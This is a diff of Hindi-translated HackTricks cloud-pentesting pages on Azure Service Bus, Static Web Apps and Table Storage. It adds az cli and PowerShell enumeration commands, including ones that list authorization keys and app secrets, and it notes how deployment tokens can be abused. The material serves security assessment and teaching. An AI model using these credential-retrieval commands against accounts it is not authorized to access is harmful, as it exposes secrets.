AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View File

@@ -4,7 +4,7 @@
## Service Bus
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संवाद सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जिनमें कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है ज कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
### Key Concepts
@@ -12,7 +12,7 @@ Azure Service Bus एक क्लाउड-आधारित **मैसेज
- संदेश क्रमबद्ध, टाइमस्टैम्प किए गए और स्थायी रूप से संग्रहीत होते हैं।
- पुल मोड (ऑन-डिमांड पुनर्प्राप्ति) में वितरित किया जाता है।
- बिंदु-से-बिंदु संचार का समर्थन करता है।
2. **Topics:** प्रसारण के लिए प्रकाशन-ग्राहक मैसेजिंग।
2. **Topics:** प्रसारण के लिए प्रकाशित-सब्सक्राइब मैसेजिंग।
- कई स्वतंत्र सब्सक्रिप्शन संदेशों की प्रतियां प्राप्त करते हैं।
- सब्सक्रिप्शन में वितरण को नियंत्रित करने या मेटाडेटा जोड़ने के लिए नियम/फिल्टर हो सकते हैं।
- कई-से-कई संचार का समर्थन करता है।
@@ -27,7 +27,7 @@ Azure Service Bus एक क्लाउड-आधारित **मैसेज
- **Dead-Lettering**: समीक्षा के लिए अप्राप्य संदेशों को कैप्चर करता है।
- **Scheduled Delivery**: भविष्य के कार्यों के लिए संदेश प्रसंस्करण में देरी करता है।
- **Message Deferral**: तैयार होने तक संदेश पुनर्प्राप्ति को स्थगित करता है।
- **Transactions**: संचालन को परमाणु निष्पादन में समूहित करता है।
- **Transactions**: परमाणु निष्पादन में संचालन को समूहित करता है।
- **Filters & Actions**: संदेशों को फ़िल्टर या एनोटेट करने के लिए नियम लागू करता है।
- **Auto-Delete on Idle**: निष्क्रियता के बाद कतारों को हटा देता है (न्यूनतम: 5 मिनट)।
- **Duplicate Detection**: पुनः भेजने के दौरान डुप्लिकेट संदेशों को हटा देता है।
@@ -42,7 +42,7 @@ SAS नीतियाँ Azure Service Bus संस्थाओं के न
- भेजें: इकाई को संदेश भेजने की अनुमति देता है।
- सुनें: इकाई से संदेश प्राप्त करने की अनुमति देता है।
- **Primary and Secondary Keys**: ये क्रिप्टोग्राफिक कुंजी हैं जो पहुँच को प्रमाणित करने के लिए सुरक्षित टोकन उत्पन्न करने के लिए उपयोग की जाती हैं।
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो एप्लिकेशन में उपयोग के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो उपयोग में आसानी के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
- **SAS Policy ARM ID**: प्रोग्रामेटिक पहचान के लिए नीति का Azure Resource Manager (ARM) पथ।
### NameSpace
@@ -50,6 +50,10 @@ SAS नीतियाँ Azure Service Bus संस्थाओं के न
sku, authrorization rule,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,13 +81,65 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.ServiceBus
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves properties and details about a Service Bus namespace.
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private endpoint connections for a Service Bus namespace.
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private link resources associated with a Service Bus namespace.
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves details of a specified queue in a Service Bus namespace.
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
# Retrieves details of subscriptions for a specified Service Bus topic.
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### विशेषाधिकार वृद्धि
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### पोस्ट एक्सप्लइटेशन
### पोस्ट एक्सप्लइटेशन
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md

View File

@@ -4,22 +4,22 @@
## Static Web Apps Basic Information
Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने के लिए** है। यह वैश्विक सामग्री वितरण, सर्वर रहित बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, भले ही सेवा को "स्थिर" कहा जाता है, इसका मतलब यह नहीं है कि यह पूरी तरह से सुरक्षित है। जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकते हैं।
Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने के लिए है**। यह वैश्विक सामग्री वितरण, सर्वर रहित बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, भले ही सेवा को "स्थिर" कहा जाता है, इसका मतलब यह नहीं है कि यह पूरी तरह से सुरक्षित है। जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री में छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकते हैं।
### Deployment Authentication
> [!TIP]
> जब एक स्थिर ऐप बनाया जाता है, तो आप **डिप्लॉयमेंट प्राधिकरण नीति** के बीच **डिप्लॉयमेंट टोकन** और **GitHub Actions वर्कफ़्लो** चुन सकते हैं।
- **डिप्लॉयमेंट टोकन**: एक टोकन उत्पन्न होता है और इसे डिप्लॉयमेंट प्रक्रिया को प्रमाणित करने के लिए उपयोग किया जाता है। **इस टोकन के साथ कोई भी नए संस्करण को डिप्लॉय करने के लिए पर्याप्त है**एक **Github Action स्वचालित रूप से** रिपॉजिटरी में टोकन को एक गुप्त के रूप में नए संस्करण को डिप्लॉय करने के लिए हर बार जब रिपॉजिटरी अपडेट होती है, डिप्लॉय किया जाता है।
- **GitHub Actions वर्कफ़्लो**: इस मामले में एक बहुत समान Github Action भी रिपॉजिटरी में डिप्लॉय किया जाता है और **टोकन भी एक गुप्त में संग्रहीत होता है**। हालाँकि, इस Github Action में एक अंतर है, यह **`actions/github-script@v6`** क्रिया का उपयोग करता है ताकि रिपॉजिटरी का IDToken प्राप्त किया जा सके और इसका उपयोग ऐप को डिप्लॉय करने के लिए किया जा सके।
- **डिप्लॉयमेंट टोकन**: एक टोकन उत्पन्न होता है और इसे डिप्लॉयमेंट प्रक्रिया को प्रमाणित करने के लिए उपयोग किया जाता है। **इस टोकन के साथ कोई भी नए संस्करण को डिप्लॉय करने के लिए पर्याप्त है**। हर बार जब रिपॉजिटरी अपडेट होती है, तो ऐप के नए संस्करण को डिप्लॉय करने के लिए टोकन को एक गुप्त में रखकर **Github Action स्वचालित रूप से** रिपॉजिटरी में डिप्लॉय किया जाता है।
- **GitHub Actions वर्कफ़्लो**: इस मामले में, एक बहुत समान Github Action भी रिपॉजिटरी में डिप्लॉय किया जाता है और **टोकन भी एक गुप्त में संग्रहीत होता है**। हालाँकि, इस Github Action में एक अंतर है, यह **`actions/github-script@v6`** क्शन का उपयोग करता है ताकि रिपॉजिटरी का IDToken प्राप्त किया जा सके और इसका उपयोग ऐप को डिप्लॉय करने के लिए किया जा सके।
- भले ही दोनों मामलों में क्रिया **`Azure/static-web-apps-deploy@v1`** का उपयोग एक टोकन के साथ `azure_static_web_apps_api_token` पैरामीटर में किया जाता है, इस दूसरे मामले में एक यादृच्छिक टोकन एक मान्य प्रारूप के साथ जैसे `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ऐप को डिप्लॉय करने के लिए पर्याप्त है क्योंकि प्राधिकरण `github_id_token` पैरामीटर में IDToken के साथ किया जाता है।
### Web App Basic Authentication
यह **वेब ऐप तक पहुँचने के लिए एक पासवर्ड** कॉन्फ़िगर करना संभव है। वेब कंसोल इसे केवल स्टेजिंग वातावरण या स्टेजिंग और उत्पादन दोनों को सुरक्षित करने के लिए कॉन्फ़िगर करने की अनुमति देता है।
यह इस प्रकार है कि लेखन के समय एक पासवर्ड-संरक्षित वेब ऐप कैसा दिखता है:
यह इस तरह है कि लेखन के समय एक पासवर्ड-संरक्षित वेब ऐप कैसा दिखता है:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
@@ -71,11 +71,15 @@ Routes **कैसे आने वाले HTTP अनुरोधों क
### प्रबंधित पहचान
Azure Static Web Apps को **प्रबंधित पहचान** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है, हालाँकि, [इस FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) में उल्लेखित के अनुसार, वे केवल **प्रमाणीकरण उद्देश्यों के लिए Azure Key Vault से रहस्यों को निकालने के लिए समर्थित हैं, अन्य Azure संसाधनों तक पहुँचने के लिए नहीं**
Azure Static Web Apps को **प्रबंधित पहचान** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है, हालाँकि, [इस FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) में उल्लेख किया गया है कि वे केवल **प्रमाणीकरण उद्देश्यों के लिए Azure Key Vault से रहस्यों को निकालने के लिए समर्थित हैं, अन्य Azure संसाधनों तक पहुँचने के लिए नहीं**
अधिक जानकारी के लिए, आप एक Azure गाइड पा सकते हैं जो एक स्थिर ऐप में एक वॉल्ट सीक्रेट का उपयोग करता है https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets।
## गणना
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,12 +111,65 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the build details for a specific Static Web App.
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the application settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves functions for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves function app settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves the configured roles for a Static Web App.
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the custom domains configured for a Static Web App.
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves details of the functions associated with a Static Web App.
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the app settings for the function app associated with a Static Web App.
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the secrets for a Static Web App.
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves general app settings for a Static Web App.
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves user details for a Static Web App with a specified authentication provider.
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
# Retrieves user-provided function apps associated with a Static Web App.
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Web Apps बनाने के उदाहरण
आप निम्नलिखित लिंक में एक वेब ऐप बनाने का अच्छा उदाहरण पा सकते हैं: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. रिपॉजिटरी https://github.com/staticwebdev/react-basic/generate को अपने GitHub खाते में फोर्क करें और इसका नाम `my-first-static-web-app` रखें
2. Azure पोर्टल में एक Static Web App बनाएं, Github एक्सेस कॉन्फ़िगर करें और पहले फोर्क की गई नई रिपॉजिटरी का चयन करें
2. Azure पोर्टल में एक Static Web App बनाएं, GitHub एक्सेस कॉन्फ़िगर करें और पहले फोर्क की गई नई रिपॉजिटरी का चयन करें
3. इसे बनाएं, और कुछ मिनट प्रतीक्षा करें, और अपने नए पृष्ठ की जांच करें!
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लॉइटेशन

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Table Storage** एक NoSQL की-वैल्यू स्टोर है जिसे बड़े पैमाने पर संरचित, गैर-संबंधित डेटा को स्टोर करने के लिए डिज़ाइन किया गया है। यह उच्च उपलब्धता, कम विलंबता, और बड़े डेटा सेट को कुशलतापूर्वक संभालने के लिए स्केलेबिलिटी प्रदान करता है। डेटा को तालिकाओं में व्यवस्थित किया जाता है, प्रत्येक इकाई को एक विभाजन कुंजी और पंक्ति कुंजी द्वारा पहचाना जाता है, जिससे तेज़ लुकअप संभव होता है। यह डेटा को सुरक्षित, प्रबंधित स्टोरेज के लिए एन्क्रिप्शन एट रेस्ट, भूमिका-आधारित एक्सेस कंट्रोल, और साझा एक्सेस सिग्नेचर जैसी सुविधाओं का समर्थन करता है, जो विभिन्न प्रकार के अनुप्रयोगों के लिए उपयुक्त है।
**Azure Table Storage** एक NoSQL की-वैल्यू स्टोर है जिसे बड़े पैमाने पर संरचित, गैर-संबंधित डेटा को स्टोर करने के लिए डिज़ाइन किया गया है। यह उच्च उपलब्धता, कम विलंबता, और बड़े डेटा सेट को कुशलतापूर्वक संभालने के लिए स्केलेबिलिटी प्रदान करता है। डेटा को तालिकाओं में व्यवस्थित किया जाता है, प्रत्येक इकाई को एक विभाजन कुंजी और पंक्ति कुंजी द्वारा पहचाना जाता है, जिससे तेज़ लुकअप संभव होता है। यह डेटा को सुरक्षित, प्रबंधित स्टोरेज के लिए एन्क्रिप्शन, भूमिका-आधारित एक्सेस नियंत्रण, और साझा एक्सेस सिग्नेचर जैसी सुविधाओं का समर्थन करता है, जो विभिन्न प्रकार के अनुप्रयोगों के लिए उपयुक्त है।
तालिका स्टोरेज के लिए **कोई अंतर्निहित बैकअप तंत्र नहीं है**
@@ -69,16 +69,18 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> डिफ़ॉल्ट रूप से `az` cli एक खाता कुंजी का उपयोग करे एक कुंजी पर हस्ताक्षर करेगा और क्रिया करेगा। Entra ID प्रमुख विशेषाधिकारों का उपयोग करने के लिए `--auth-mode login` पैरामीटर का उपयोग करें।
> डिफ़ॉल्ट रूप से `az` cli एक खाता कुंजी का उपयोग करेगा एक कुंजी पर हस्ताक्षर करे और क्रिया करने के लिए। Entra ID प्रमुख विशेषाधिकारों का उपयोग करने के लिए `--auth-mode login` पैरामीटर का उपयोग करें।
> [!TIP]
> उपयोग करने के लिए खाता कुंजी को इंगित करने के लिए पैरामीटर `--account-key` का उपयोग करें\
> SAS टोकन के माध्यम से पहुंचने के लिए SAS टोकन के साथ पैरामीटर `--sas-token` का उपयोग करें
> उपयोग करें पैरामीटर `--account-key` यह इंगित करने के लिए कि किस खाता कुंजी का उपयोग करना है\
> उपयोग करें पैरामीटर `--sas-token` SAS टोकन के साथ SAS टोकन के माध्यम से पहुँचने के लिए
## Privilege Escalation